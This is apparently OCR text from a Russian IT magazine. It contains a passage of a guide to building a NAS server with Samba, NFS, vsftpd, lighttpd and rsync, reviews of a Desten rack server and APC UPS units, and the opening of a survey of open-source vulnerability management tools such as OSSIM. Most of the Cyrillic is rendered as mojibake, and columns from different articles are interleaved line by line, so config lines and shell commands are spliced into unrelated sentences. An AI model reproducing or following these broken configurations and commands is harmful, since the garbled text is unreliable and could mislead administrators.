spassword:* %n\n *Retype\snew\s*\ $ sudo apt-get install build-
spassword:* %n\n *password\ /mnt 192.168.1.1/24 (rw,no_root_ essential
supdated\ssuccessfully* . squash,async,subtree_check) $ make
$ sudo make install
; Ãëîáàëüíàÿ øàðà, äîñòóïíàÿ âñåì 192.168.1.1/24 — ýòî ñåòü, êîòîðîé ðàç-
[share] ðåøåí äîñòóï íà ìîíòèðîâàíèå ðåñóðñà. Äîáàâëÿåì ïîëüçîâàòåëÿ nobody (ñ ïðàâàìè
comment = Global Share Ïîëüçîâàòåëè áóäóò âèäåòü êàê êàòàëîã / êîòîðîãî áóäåò ðàáîòàòü ñåðâåð) è ïîëüçî-
path = /mnt/share mnt/share, òàê è /mnt/private, íî äîñòóï ê âàòåëÿ ftp (ê êîòîðîìó áóäóò ïðèðàâíåíû
valid users = @users ïîñëåäíåìó áóäóò èìåòü òîëüêî âëàäåëüöû àíîíèìíûå ïîëüçîâàòåëè):
force group = users ñîîòâåòñòâóþùèõ äîìàøíèõ êàòàëîãîâ.
create mask = 0666 Çàïóñêàåì ñåðâåð: $ sudo useradd nobody
directory mask = 0777 $ sudo useradd -d /mnt ftp
writable = yes $ sudo service nfs-kernel-server start
È ñîçäàåì êàòàëîã /usr/share/empty, â êîòî-
; Ëè÷íûå êàòàëîãè ïîëüçîâàòåëåé ПРОТОКОЛ FTP Äëÿ ïîëíîòû êàðòèíû ìû ðûé ñåðâåð áóäåò äåëàòü chroot:
[homes] äîëæíû îðãàíèçîâàòü äîñòóï ê NAS ñ ïîìî-
comment = Private Directories ùüþ ïðîòîêîëà FTP. Íî çäåñü ñðàçó ñòàë- $ sudo mkdir /usr/share/empty
browseable = no êèâàåìñÿ ñ ïðîáëåìîé — ïðîòîêîë FTP íå
valid users = %S ïîçâîëÿåò êëèåíòó óêàçûâàòü ñîáñòâåííóþ Äîáàâëÿåì ñòðîêó «/usr/local/sbin/vsftpd»
writable = yes êîäèðîâêó, è ïîëüçîâàòåëÿì Windows èìåíà â ôàéë /etc/rc.local (ïåðåä ñòðîêîé «exit 0»).
create mask = 0600 ôàéëîâ áóäóò âèäíû òîëüêî â ñëó÷àå èñïîëü- Îòêðûâàåì /etc/vsftpd.conf è ïèøåì â íåãî
directory mask = 0700 çîâàíèÿ êîäèðîâêè cp1251, à ïîëüçîâàòåëÿì ñòðîêè:
UNIX — koi8-r èëè utf-8. Ïðèáàâü ê ýòîìó
Äîáàâëÿåì â ñàìáó âñåõ ïîëüçîâàòåëåé, íåóìåíèå ñåðâåðà vsftpd ïåðåêîäèðîâàòü $ sudo vim /etc/vsftpd.conf
êîòîðûõ ìû çàâåëè â ëîêàëüíîé ñèñòåìå, ñ èìåíà èç ëîêàëüíîé êîäèðîâêè è ïîëó÷èøü # Ðàçðåøèòü àíîíèìíûõ ïîëüçîâàòåëåé
ïîìîùüþ êîìàíäû: ïîëíûé áàðäàê. anonymous_enable=YES
Âûõîä èç ñèòóàöèè — â èñïîëüçîâàíèè # Íå çàïóñêàòü ÷åðåç inetd
$ sudo smbpasswd -a ïîëüçîâàòåëü êîñòûëåé, à èìåííî óñòàíîâêå ìîäèôè- listen=YES
<ïàðîëü> öèðîâàííîé âåðñèè vsftpd, ñêà÷àííîé ñ # Ðàçðåøàòü âõîä ëîêàëüíûì ïîëüçî-
ñàéòà vsftpd.devnet.ru, è óêàçàíèè ñåðâåðó âàòåëÿì (âñå ïîëüçîâàòåëè, êîòîðûõ
Çàïóñêàåì ñëóæáó: ïåðåêîäèðîâàòü èìåíà ôàéëîâ â êîäèðîâêó ìû äîáàâèëè ðàíåå, áóäóò ïîïàäàòü â
cp1251. Ýòî àâòîìàòè÷åñêè ðåøèò ïðîáëåìó ñîáñòâåííûå êàòàëîãè âíóòðè /mnt/
$ sudo service samba start Windows-ïîëüçîâàòåëåé. Âñåõ îñòàëüíûõ private).
WARNING
log" ÷èëè SFTP-ñåðâåð, óæå ïîëíîñòüþ íàñòðî- íèÿ ÷åðåç tcpd, äîáàâèì â åãî êîíôèã ñòðîêó
accesslog.filename = "/var/log/ åííûé è çàïóùåííûé ñèñòåìîé óñòàíîâêè «tcp_wrappers=YES» è ïåðåçàïóñòèì:
lighttpd/access.log" ïàêåòîâ. Âî âòîðîì ñîäåðæèòñÿ óòèëèòà
# Ôàéë ñ óíèêàëüíûì èäåíòèôèêàòîðîì rsync, êîòîðóþ ìû áóäåì èñïîëüçîâàòü äëÿ $ sudo killall vsftpd
ïðîöåññà áýêàïà äàííûõ. $ /usr/local/sbin/vsftpd
server.pid-file = "/var/run/ Rsync íå òðåáóåò íàñòðîéêè, ñåðâåðà èëè
lighttpd.pid" ïëÿñîê ñ áóáíîì. Ãëàâíîå, ïðîèçâåñòè îáìåí Samba íå óìååò ðàáîòàòü ñ tcpd, íî åå ìîæíî
# Èìÿ è ãðóïïà ïîëüçîâàòåëÿ, ñ ïðàâà- ssh-êëþ÷àìè ìåæäó ïîëüçîâàòåëåì root çàïóñòèòü ïîä åãî óïðàâëåíèåì ñ ïîìîùüþ
ìè êîòîðîãî áóäåò ðàáîòàòü ñåðâåð NAS-ñåðâåðà è ïîëüçîâàòåëåì, ïðîèçâîäÿ- xinetd. Îñòàíîâèì samba-äåìîí:
server.username = "www-data" ùèì áýêàï íà ìàøèíå-ïðèåìíèêå. Çàòåì
server.groupname = "www-data" äîñòàòî÷íî âûïîëíèòü ñëåäóþùóþ êîìàíäó, $ sudo service samba stop
# Âêëþ÷àåìûå ôàéëû (MIME-òèïû è âíå- è òû ïîëó÷èøü áýêàï âñåõ äàííûõ êàòàëîãà /
øíèå ìîäóëè) mnt (ïîâòîðíîå âûïîëíåíèå êîìàíäû ïðè- Äîáàâèì ñëåäóþùóþ ñòðîêó â /etc/inetd.
include_shell "/usr/share/lighttpd/ âåäåò ê êîïèðîâàíèþ òîëüêî èçìåíèâøèõñÿ conf:
create-mime.assign.pl" äàííûõ):
include_shell "/usr/share/lighttpd/ netbios-ssn stream tcp nowait root /
include-conf-enabled.pl" $ rsync -rc -t -e ssh --rsync-path=/ usr/sbin/tcpd /usr/sbin/smbd
usr/bin/rsync --temp-dir=/tmp root@
Ïîäêëþ÷àåì ìîäóëü userdir, ïðåäíàçíà÷åí- host.org:/mnt /backup/nas È — ïåðåçàïóñòèì xinetd:
íûé äëÿ ãåíåðèðîâàíèÿ ëèñòèíãà ôàéëîâ:
 êà÷åñòâå èñòî÷íèêà ïðåäïî÷òèòåëüíî $ sudo service xinetd restart
$ sudo lighty-enable-mod userdir óêàçàòü êàòàëîã /mnt/private, ÷òîáû íå êî-
ïèðîâàòü ìíîæåñòâî áåñïîëåçíûõ äàííûõ, Îãðàíè÷èâàòü äîñòóï ïî ïðîòîêîëó HTTP
Ïîñëå ýòîãî â ôàéëå /etc/lighttpd/lighttpd. êîòîðûå ïîëüçîâàòåëè ìîãóò ñêëàäèðîâàòü íå èìååò ñìûñëà, âåäü îí ðàáîòàåò òîëüêî â
conf ïîÿâÿòñÿ ñòðîêè: â îáùóþ øàðó, à ñàìó êîìàíäó äîáàâèòü â ðåæèìå ÷òåíèÿ.
çàäàíèÿ cron (ñîâåòóåì íàñòðîèòü åæåäíåâ-
## virtual directory listings íîå êîïèðîâàíèå). ЗАКЛЮЧЕНИЕ Ñîçäàíèå ñîáñòâåííîãî
dir-listing.encoding = "utf-8" NAS-ñåðâåðà èç ïîäðó÷íûõ ìàòåðèàëîâ — íå
server.dir-listing = "enable" ОГРАНИЧЕНИЕ ДОСТУПА Âî èçáåæàíèå çà- òàêàÿ óæ è ñëîæíàÿ çàäà÷à. Êîíå÷íî, íàø
õëàìëåíèÿ îòêðûòîãî äëÿ âñåõ ïîäðÿä êàòà- NAS íå îáëàäàåò web-èíòåðôåéñîì, íå óìååò
Çàïóñêàåì ñåðâåð: ëîãà /mnt/share, íåêîòîðûõ ïîëüçîâàòåëåé øèôðîâàòü ïåðåäàâàåìûå äàííûå (çà èñ-
ëó÷øå îòðåçàòü îò NAS-ñåðâåðà ñ ïîìîùüþ êëþ÷åíèåì ïðîòîêîëà SFTP) è íå íàêëàäû-
$ sudo service lighttpd start TCP-Wrappers. Äëÿ ýòîãî óñòàíàâëèâàåì âàåò êâîòû íà ïîëüçîâàòåëåé è ãðóïïû. Íî
ïàêåòû xinetd è tcpd: íóæíî ëè âñå ýòî? Äëÿ áîëüøèíñòâà àäìèíîâ
ПРОТОКОЛЫ SFTP И RSYNC Ïîñëåäíèé, ñ ðóêàìè äîñòóï ïî ïðîòîêîëó SSH ãîðàçäî
î÷åíü êîðîòêèé, ðàçäåë ïîñâÿùåí íàñòðîéêå $ sudo apt-get install xinetd tcpd ïðåäïî÷òèòåëüíåå äàæå ñàìîãî ãèáêîãî web-
äîñòóïà ê NAS ïî ïðîòîêîëó SFTP è ðåàëèçà- èíòåðôåéñà, øèôðîâàíèå äàííûõ ñîâåðøåí-
öèè ñèñòåìû áýêàïà. Äëÿ íà÷àëà óñòàíîâèì È âïèñûâàåì IP-àäðåñà íåóãîäíûõ â ôàéë / íî áåñïîëåçíî â îôèñíûõ ëîêàëüíûõ ñåòÿõ,
ïàêåòû openssh-server è rsync: etc/hosts.deny: à êâîòû ðîæäàþò áîëüøå íåóäîáñòâ, ÷åì
ïðèíîñÿò ïîëüçû (óæ ëó÷øå âðåìÿ îò âðåìå-
$ sudo apt-get install openssh- ALL: 192.168.1.12 192.168.1.15 íè ïðîñìàòðèâàòü ñîäåðæèìîå õðàíèëèùà
server â ïîèñêàõ òåõ, êòî èñïîëüçóåò NAS íå ïî íà-
$ sudo apt-get install rsync Ýòî àâòîìàòè÷åñêè îáåçîïàñèò NAS-ñåðâåð çíà÷åíèþ, è áèòü ïî ðóêàì ïðîâèíèâøèõñÿ,
ïðè äîñòóïå ïî ïðîòîêîëàì NFS è SFTP. ×òî- ÷åì âêëþ÷èòü êâîòèðîâàíèå è äîæèäàòüñÿ
Âìåñòå ñ ïåðâûì ìû àâòîìàòè÷åñêè ïîëó- áû vsftpd íàó÷èëñÿ ïðîïóñêàòü ñâîè ñîåäèíå- ìîìåíòà, êîãäà õðàíèëèùå çàáüåòñÿ).z
Штурман в море
серверных решений
Navigator DX000ISR1 G2:
1U-сервер от российской компании Desten
Ìû óæå ðàññìàòðèâàëè ñåðâåðíûå ðåøå- ìàññèâû óðîâíåé 0, 1 è 10. Òàêæå äîñòóïíû • ðàñøèðåííàÿ ïîääåðæêà âèðòóàëèçàöèè.
íèÿ èç Ðîññèè, âûïóùåííûå ïîä áðåíäàìè äâà íèçêîïðîôèëüíûõ ðàçúåìà PCI-Express Äëÿ óïðàâëåíèÿ ñåðâåðîì ñèñòåìíûé àäìè-
>> SYN/ACK
Depo Computers è iRU, à ñåãîäíÿ íàñòàë ÷åðåä x8 è äâà GigabitEthernet-ïîðòà. íèñòðàòîð ìîæåò èñïîëüçîâàòü ñîâìåñòèìûé ñ
êîìïàíèè Desten è åå ñòîå÷íîãî 1U-ñåðâåðà Áëàãîäàðÿ èñïîëüçîâàíèþ ëîãèêè Intel 5500 IPMI 2.0 èíòåðôåéñ, ðåàëèçóåìûé âñòðîåííûì
Navigator DX000ISR1 G2. è íîâîé ëèíåéêå ïðîöåññîðîâ Intel Xeon, ñåð- êîíòðîëëåðîì LLC Pilot II Controller. Ïðåäóñìîò-
DX000ISR1 G2 — ýòî ñåðâåð íà÷àëüíîãî âåð ìîæåò ïîõâàñòàòüñÿ òàêèìè îñîáåííîñ- ðåíà óñòàíîâêà ìîäóëÿ Remote Management
óðîâíÿ, áàçèðóþùèéñÿ íà ÷èïñåòå Intel 5500 òÿìè, êàê: Module (RMM3, ïðèîáðåòàåòñÿ îòäåëüíî), êîòî-
è äâóõ ïðîöåññîðàõ Intel Xeon òîé æå ñåðèè. • ïîääåðæêà òåõíîëîãèè Intel Turbo Boost, ðûé ïîääåðæèâàåò KVM over LAN è ïðåäîñòàâ-
Îñíîâíàÿ íèøà íîâèíêè: Web-õîñòèíã, îáåñïå÷èâàþùåé óâåëè÷åíèå ÷àñòîòû îä- ëÿåò âîçìîæíîñòü äèñòàíöèîííî âêëþ÷àòü/
êëàñòåðû, òåðìèíàëüíûé ñåðâåð íà÷àëüíî- íîãî èëè íåñêîëüêèõ ÿäåð ïðîöåññîðà äëÿ âûêëþ÷àòü ñåðâåð.  êîìïëåêò ïîñòàâêè âõî-
ãî óðîâíÿ, êîíòðîëëåð äîìåíà, ðåçåðâíûé óñêîðåíèÿ âûïîëíåíèÿ ïðèëîæåíèé; äèò íàáîð ÏÎ Intel System Management Software,
êîíòðîëëåð äîìåíà è ëþáûå çàäà÷è ïîä- • ñíèæåííîå ýíåðãîïîòðåáëåíèå çà ñ÷åò èñ- ïîçâîëÿþùèé ïðîèçâîäèòü ìîíèòîðèíã è óï-
äåðæêè èíôðàñòðóêòóðû ñåòè. ïîëüçîâàíèÿ òåõíîëîãèè Intelligent Power, ðàâëÿòü îáîðóäîâàíèåì, óäàëåííî óñòàíàâëè-
Âíóòðè êîðïóñà ñêðûòû âîñåìü ðàçúåìîâ îòêëþ÷àþùåé íåèñïîëüçóåìûå ÿäðà ïðî- âàòü è îáíîâëÿòü ÏÎ, êîíòðîëèðîâàòü óðîâåíü
äëÿ ìîäóëåé îïåðàòèâíîé ïàìÿòè, êîòîðûå öåññîðà èëè ñíèæàþùåé èõ ÷àñòîòû; ïîòðåáëåíèÿ ýíåðãèè è ìíîãîå äðóãîå.
ïîçâîëÿþò óñòàíàâëèâàòü äî 64 Ãá ïàìÿòè • âûñîêîñêîðîñòíîé êîíòðîëëåð ïàìÿòè, Íà ñàéòå êîìïàíèè èìååòñÿ óäîáíûé êîí-
DDR3 (ïî 32 Ãá íà êàæäûé ïðîöåññîð), äâà êîòîðûé ïîçâîëÿåò ïîäíÿòü åå ïðîïóñêíóþ ôèãóðàòîð. Îí ïîçâîëèò ïîêóïàòåëþ ïîäîá-
îòñåêà äëÿ 3.5" æåñòêèõ äèñêîâ SATA2, îäèí ñïîñîáíîñòü äî 64 Ãá/ñ, ïðîèçâîäèò êîððåê- ðàòü íóæíóþ êîíôèãóðàöèþ è ïðîèçâåñòè
îòñåê Slimline SATA bay. Âñòðîåííûé â ÷èïñåò öèþ îøèáîê ñèñòåìíîé øèíû è çåðêàëèðî- çàêàç ñåðâåðà.
RAID-êîíòðîëëåð ñïîñîáåí ñîçäàâàòü RAID- âàíèå ïàìÿòè; îò 43798 ðóáëåé, www.desten.ru
Íå äóìàþ, ÷òî ñèñòåìû áåñïåðåáîéíîãî ïè- ñòàâëÿåò 3 ÷àñà, à äëèòåëüíîñòü ðàáîòû ïîä êè äîïîëíèòåëüíûõ ïëàò, ðàñøèðÿþùèõ
òàíèÿ îò êîìïàíèè APC íóæäàþòñÿ õîòü â ïîëíîé íàãðóçêîé — 6.1 ìèíóòû äëÿ ìîäåëè âîçìîæíîñòè ÈÁÏ (íàïðèìåð, äëÿ çàùèòû
>> SYN/ACK
êàêîì-òî ïðåäñòàâëåíèè. Ëþáîé îáèòàòåëü SUA1000I è 7.4 — äëÿ SUA1500RMI2U. äàííûõ íà íåñêîëüêèõ ñåðâåðàõ, ïîäêëþ÷åí-
ñåðâåðíîé â íàøåé ñòðàíå çíàêîì ñ èìåíåì ×òî êàñàåòñÿ êà÷åñòâà ïèòàíèÿ, òî â ýòîì íûõ ê îäíîìó ÈÁÏ, èëè äëÿ ìîíèòîðèíãà êëè-
Smart-UPS è êðàñíîé ýìáëåìîé APC, êðàñóþ- ïëàíå ê ìîäåëÿì íåò íèêàêèõ ïðåòåíçèé. Ïå- ìàòè÷åñêèõ ïàðàìåòðîâ â ñòîéêå).
ùåéñÿ íà êàæäîì óñòðîéñòâå, âûïóùåííîì ðåêëþ÷åíèå ìåæäó ñîñòîÿíèÿìè ïðîèñõîäèò Ïåðåäíÿÿ ïàíåëü îáîèõ óñòðîéñòâ îñíàùåíà
ýòîé êîìïàíèåé. Âïîëíå çàêîíîìåðíî, ÷òî òàê áûñòðî è ïëàâíî, ÷òî åãî òðóäíî çàìåòèòü. ñâåòîäèîäíûì äèñïëååì ñî øêàëàìè íàãðóç-
ïåðâûé îáçîð áåñïåðåáîéíèêîâ ðóáðèêè Âûõîäíîé òîê èìååò èäåàëüíóþ ñèíóñîè- êè è çàðÿäà áàòàðåé è íåñêîëüêèìè èíäèêà-
IN DA FOCUS ïîñâÿùåí èìåííî ýòîé ìàðêå. äàëüíóþ ôîðìó. Äèàïàçîí ðåãóëèðîâêè âõîä- òîðàìè: ðàáîòà îò áàòàðåé, ðàáîòà îò ñåòè,
Âñòðå÷àéòå: Smart-UPS 1000i USB è Smart-UPS íîãî íàïðÿæåíèÿ ñîñòàâëÿåò 151-302 Â. íåîáõîäèìîñòü çàìåíû áàòàðåé, èíäèêàòîð
1500 RM 2U USB — çíàêîâûå ìîäåëè ÈÁÏ îò Äëÿ óïðàâëåíèÿ èñïîëüçóåòñÿ USB-èíòåð- ïåðåãðóçêè è ò.ä. Áåñïåðåáîéíèêè èñïîëüçó-
APC, ðàññ÷èòàííûå íà ïðèìåíåíèå â ñôåðå ôåéñ è óæå çíàêîìûé ìíîãèì ñèñòåìíûì þò ðàçëè÷íûå çâóêîâûå ñèãíàëû äëÿ èíäè-
ïîääåðæêè ñåðâåðíîãî îáîðóäîâàíèÿ è çà- àäìèíèñòðàòîðàì êîìïëåêò ÏÎ PowerChute, êàöèè ïåðåõîäà â ðåæèì ðàáîòû îò áàòàðåé è
ùèòû âàæíûõ äàííûõ îò ïîâðåæäåíèé. âåðñèè êîòîðîãî ñóùåñòâóþò ïðàêòè÷åñ- ôàêòà èñ÷åðïàíèÿ çàðÿäà.
Âûõîäíàÿ ìîùíîñòü ñîñòàâëÿåò 670 Âàòò êè äëÿ âñåõ ïîäàþùèõ ïðèçíàêè æèçíè ÎÑ. ÈÁÏ ñîîòâåòñòâóþò òðåáîâàíèÿì ñòàíäàð-
äëÿ ìîäåëè SUA1000I è 980 Âàòò — äëÿ PowerChute ïîçâîëÿåò äèñòàíöèîííî óïðàâ- òîâ áåçîïàñíîñòè C-tick, CE, EN 50091-1, EN
SUA1500RMI2U. Íà çàäíåé ïàíåëè ðàñïîëàãà- ëÿòü ÈÁÏ, ïðîâîäèòü åãî äèàãíîñòèêó, ðå- 50091-2,GOST, VDE è ýêîëîãè÷åñêèì íîðìàì
þòñÿ 8 è 4 âûõîäíûå ðîçåòêè; ñîîòâåòñòâåí- øàòü ïðîáëåìû ðàáîòîñïîñîáíîñòè, à òàêæå RoHS 7b Exemption. Ñðîê ãàðàíòèè ñîñòàâëÿ-
íî, â êà÷åñòâå àêêóìóëÿòîðîâ èñïîëüçóþòñÿ áåçîïàñíî çàâåðøàòü ðàáîòó îïåðàöèîííîé åò 2 ãîäà íà ðåìîíò èëè çàìåíó.
ñâèíöîâî-êèñëîòíûå áàòàðåè ñî ñðåäíèì ñèñòåìû, ïðåæäå ÷åì áàòàðåÿ ðàçðÿäèòñÿ. Smart-UPS 1000i USB: 11600 ðóáëåé
ñðîêîì ñëóæáû 3-6 ëåò. Âðåìÿ çàðÿäêè ñî- Ðàçúåì SmartSlot ïðåäíàçíà÷åí äëÿ óñòàíîâ- Smart-UPS 1500 RM 2U USB: 20960 ðóáëåé
Под прессом
IT-рисков
Обзор Open Source систем управления уязвимостями
Обеспечение безопасности в условиях современных компьютерных се-
тей, имеющих большое количество разнородных по своему составу хос-
тов и операционок, требует достаточно больших усилий. Уследить
за всеми событиями становится все труднее. Системы управления уяз-
вимостями позволяют максимально автоматизировать процесс контроля
за сетью с выдачей рекомендаций по устранению проблем.
Ïåðåä òåì êàê íà÷àòü îáçîð, ñêàæåì íåñêîëüêî ðîâàííûõ ðåñóðñîâ. Ýòî, êîíå÷íî æå, Security PatchLink), QualysGuard, Symantec Control
ñëîâ î íàçíà÷åíèè ñèñòåì óïðàâëåíèÿ óÿçâè- Focus (www.securityfocus.com/vulnerabilities) Compliance Suite (SCCS), MaxPatrol îò Positive
ìîñòÿìè (Vulnerability Management). ×åì îíè è OSVDB áàçû (Open Source Vulnerability Technologies è ìíîãèå äðóãèå. Ïðè âñåõ ñâîèõ
îòëè÷àþòñÿ îò ïðèâû÷íûõ èíñòðóìåíòîâ ïåí- DataBase, osvdb.org), ñîäåðæàùèå óÿçâèìîñòè äîñòîèíñòâàõ ñòîÿò îíè âåñüìà íåäåøåâî, è
òåñòåðà è àäìèíèñòðàòîðà? Ñåãîäíÿ çàùèòà ñ 2002 ãîäà. Äëÿ óäîáñòâà â ïîñëåäíåì ñëó÷àå ïðîùå îáîéòèñü ñâîáîäíûìè àíàëîãàìè. Î
ñåòåé ñòðîèòñÿ íà, â îáùåì-òî, ñòàíäàðòíîì ìîæíî âîñïîëüçîâàòüñÿ óòèëèòîé HackerStorm íèõ è ïîãîâîðèì.
íàáîðå: ìåæñåòåâîé ýêðàí, êîðïîðàòèâíûå OSVDB Tool (www.hackerstorm.com). Òàêæå
àíòèâèðóñû, ñèñòåìà îáíàðóæåíèÿ àòàê Snort ñ ñòîèò óïîìÿíóòü î áàçå îáíàðóæåííûõ ïðîáëåì УПРАВЛЕНИЕ ЗАЩИТОЙ С OSSIM Ãëàâíàÿ
êîíñîëüþ BASE, ïðîãðàììà ïîèñêà èçâåñòíûõ áåçîïàñíîñòè â ÏÎ, ñîçäàííîé ïîä ïîêðîâèòåëü- çàäà÷à ïðîåêòà OSSIM (Open Source Security
óÿçâèìîñòåé Nessus/OpenVAS, ñåòåâîé ñêàíåð ñòâîì Íàöèîíàëüíîãî Èíñòèòóòà Ñòàíäàðòîâ è Information Management, ossim.net) — ìàê-
Nmap è íåêîòîðûå äðóãèå. Â îòäåëüíîñòè Òåõíîëîãèé, ÑØÀ (nvd.nist.gov). ñèìàëüíàÿ èíòåãðàöèÿ ðàçíîðîäíûõ óòèëèò
êàæäàÿ èç ýòèõ ïðîãðàìì/ñåðâèñîâ îòëè÷íî Íî åñëè ïðîèçâåäåíà åùå íå îïèñàííàÿ íè â â ïðåäåëàõ åäèíîé îòêðûòîé àðõèòåêòóðû. Â
âûïîëíÿåò ñâîè ôóíêöèè, âûäàâàÿ ñïåöèà- îäíîì èñòî÷íèêå àòàêà, ëèáî ñåòü ïîñòðàäàëà ðåçóëüòàòå ïîÿâëÿåòñÿ âîçìîæíîñòü íàêîï-
ëèñòàì âíóøèòåëüíûé îáúåì èíôîðìàöèè. îò «ïðîäåëîê» èíñàéäåðà, òî ïðîáëåìû ìîæíî ëÿòü äàííûå, íàõîäèòü è îòñëåæèâàòü ÷åòêèå
Àíàëèçèðîâàòü è ñîïîñòàâëÿòü ïîëó÷åííûå îáíàðóæèòü òîëüêî íà îñíîâå ñîáðàííûõ âçàèìîñâÿçè â ñîáðàííîé èíôîðìàöèè.
äàííûå ïðèõîäèòñÿ â ïîëóàâòîìàòè÷åñêîì ñòàòèñòè÷åñêèõ äàííûõ. Ïðè÷åì áåç àâòîìà- Èñòî÷íèêàìè ñëóæàò ïðàêòè÷åñêè ëþáûå
ðåæèìå. Äëÿ óòî÷íåíèÿ ñèòóàöèè çàïóñêàåòñÿ òèçàöèè ïðîöåññà, ñíèìàþùåé íàãðóçêó ñ IT- óòèëèòû, ñïîñîáíûå îáðàáàòûâàòü ñåòåâóþ
îäíà óòèëèòà, çàòåì åùå îäíà è ò.ä. Â ðåçóëüòà- ïåðñîíàëà è ïðåäîñòàâëÿþùåé âîçìîæíîñòü èëè ñèñòåìíóþ èíôîðìàöèþ â ðåàëüíîì
òå äëÿ ïîëíîãî ïîíèìàíèÿ òåêóùåé îáñòàíîâ- ñèñòåìàòèçèðîâàòü íàêîïëåííóþ èíôîðìà- âðåìåíè. Â íàñòîÿùåå âðåìÿ ñïèñîê èíòåãðè-
êè â ñåòè òðåáóåòñÿ ïåðåâåðíóòü ãîðû îò÷åòîâ, öèþ, çäåñü íå îáîéòèñü. Òàê ïîÿâèëèñü íîâûå ðîâàííûõ â OSSIM èíñòðóìåíòîâ äîâîëüíî
ñîçäàííûõ ðàçíîïëàíîâûìè ïðîãðàììàìè, íà ðàçðàáîòêè, çàäà÷à êîòîðûõ — ïðèâåñòè âñå øèðîê: Arpwatch, P0f, pads, Nessus/OpenVAS,
÷òî óõîäèò íåâåðîÿòíîå êîëè÷åñòâî âðåìåíè. ïîëó÷åííûå ðàçíûìè ïðèëîæåíèÿìè äàííûå â Ntop, Snort, tcptrack, tcpdump, Nmap, Spade,
Åùå îäíà ïðîáëåìà: íóæíî ïîñòîÿííî îòñëåæè- óäîáíûé äëÿ àíàëèçà âèä. Ïîäîáíûå ïðîãðàì- Nagios, Osiris, OCSInventory-NG, OSSEC,
âàòü ïîÿâëåíèå óÿçâèìîñòåé â èñïîëüçóåìûõ ìû ÿâëÿþòñÿ êîìïëåêñíûì ðåøåíèåì è âêëþ- RRDTool (äîïîëíèòåëüíî âîçìîæåí àíàëèç
ÎÑ è ïðèëîæåíèÿõ, îöåíèâàòü âîñïðèèì÷è- ÷àþò ñðåäñòâà èíâåíòàðèçàöèè ðåñóðñîâ ñåòè, äàííûõ, ñîáèðàåìûõ preludeIDS, NTsyslog,
âîñòü ÏÎ ê îòäåëüíûì òèïàì ñåòåâûõ àòàê, ìîíèòîðèíãà ñèñòåì, ñèñòåìû îáíàðóæåíèÿ è Snare, Cisco Secure IDS). Äàííûå ìîãóò áûòü
äåðæàòü â óìå, êàêèå îáíîâëåíèÿ óñòàíîâëåíû, îòðàæåíèÿ àòàê, ãåíåðàöèè îò÷åòîâ è ò.ä. äîñòàâëåíû ïðè ïîìîùè ðàçíûõ ñïîñîáîâ:
à êàêèå åùå ïðåäñòîèò íàêàòèòü. ×òî êàñàåòñÿ Ñóùåñòâóåò âåñüìà áîëüøîé ñïèñîê êîììåð- syslog, plain log, SNMP, OPSEC, ñîêåò è ïð. — è
ïîèñêà èçâåñòíûõ óÿçâèìîñòåé, òî åãî ìîæíî ÷åñêèõ ðåøåíèé — Microsoft Security Response àäìèíèñòðàòîð ìîæåò ïîëó÷èòü èíôîðìàöèþ
âûïîëíÿòü ñàìîñòîÿòåëüíî, ïîäïèñàâøèñü íà Center (MSRC), IBM Internet Security Systems, î ëþáîì ñîáûòèè â ñåòè, õîñòå èëè óñòðîéñòâå.
ðàññûëêó îäíîãî èëè íåñêîëüêèõ ñïåöèàëèçè- Lumension Vulnerability Management (ðàíåå Îòäåëüíàÿ ñèñòåìà ïîäâåðãàåòñÿ äåòàëüíîìó
ïåðåçàãðóçèòñÿ, çàòåì íåêîòîðîå âðåìÿ áóäåò çàòðà÷åíî íà Òåïåðü îòêðûâàåì âåá-áðàóçåð è çàõîäèì íà ñòðàíèöó
ïåðâè÷íóþ èíèöèàëèçàöèþ êîìïîíåíòîâ OSSIM. http://server; äëÿ ðåãèñòðàöèè èñïîëüçóåì admin/admin.
Ïîñëå íåáîëüøîãî, íî âåñüìà ïîëåçíîãî ëèêáåçà ïî èñïîëü-
ЗНАКОМИМСЯ С OSSIM ПОБЛИЖЕ Êîìàíäà «netstat çîâàíèþ äèñòðèáóòèâà ïîïàäàåì â êîíñîëü óïðàâëåíèÿ.
-ant» ïîñëå óñòàíîâêè ïîêàæåò, ÷òî îòêðûòî ñ äåñÿòîê Ïðàêòè÷åñêè ñðàçó áóäåò äîñòóïåí ðÿä îò÷åòîâ.
äîïîëíèòåëüíûõ ïîðòîâ. Ðÿä èç íèõ ñîîòâåòñòâóåò ïðè- Ïàíåëü âèçóàëüíî ðàçáèòà íà òðè îáëàñòè. Ñïðàâà íàõîäèò-
ëîæåíèÿì, èñïîëüçóåìûì OSSIM â êà÷åñòâå ñåíñîðîâ äëÿ ñÿ ñïèñîê ôóíêöèé OSSIM: Dashboards (âûâîäÿòñÿ ðèñêè,
ñáîðà äàííûõ. Ôàéëû íàñòðîåê ðàçëè÷íûõ êîìïîíåíòîâ çäåñü âèäíî ïîÿâëåíèå íîâîé ÎÑ èëè ñåðâèñà), Incidents,
OSSIM íàõîäÿòñÿ â êàòàëîãå /etc/ossim; äëÿ óäîáñòâà Events (àíîìàëèè, ñîáûòèÿ), Monitors (ìîíèòîðèíã ñåòè
îíè ðàçëîæåíû ïî ïîäêàòàëîãàì è íàçíà÷åíèþ — server, è ñèñòåì), Reports (îò÷åòû ïî óçëàì, îáîðóäîâàíèþ, ÏÎ,
framework, agent è update. Íàñòðîéêè ñåðâåðà íàõîäÿòñÿ â ñåòè), Policy (íàñòðîéêà ïîëèòèê è äåéñòâèé, çàïóñê ïðî-
ôàéëå ossim_setup.conf, îòðåäàêòèðîâàòü êîòîðûé ìîæíî ãðàììû èëè îòïðàâêà e-mail), Correlation, Configuration,
âðó÷íóþ, èëè âûïîëíèâ êîìàíäó ossim-setup.  ýòîì ôàéëå Tools (áýêàï, ññûëêè äëÿ çàêà÷êè êëèåíòîâ, ñêàíåð ñåòè).
íàõîäÿòñÿ ïàðàìåòðû äëÿ ïîäêëþ÷åíèÿ ê ñåðâåðó è MySQL, Íàñòðîåê äîñòàòî÷íî ìíîãî. Ïåðâûì äåëîì ñëåäóåò ïðà-
íàñòðîéêè ñåíñîðîâ. Áîëüøèíñòâî ïàðàìåòðîâ âíóòðè âèëüíî óêàçàòü ñåòè, êîíòðîëèðóåìûå OSSIM. Ýòî ìîæíî
ìîæíî íàçâàòü ñòàíäàðòíûìè, è îíè äîëæíû áûòü ïîíÿòíû ñäåëàòü â Policy Æ Policy. Äàëåå ïåðåõîäèì âî âêëàäêó
áåç ïîÿñíåíèé. Òàê, ñòðîêà detectors îïðåäåëÿåò ïðèëîæå- Network è çàïóñêàåì ñêàíèðîâàíèå ñåòè Tools — NetScan,
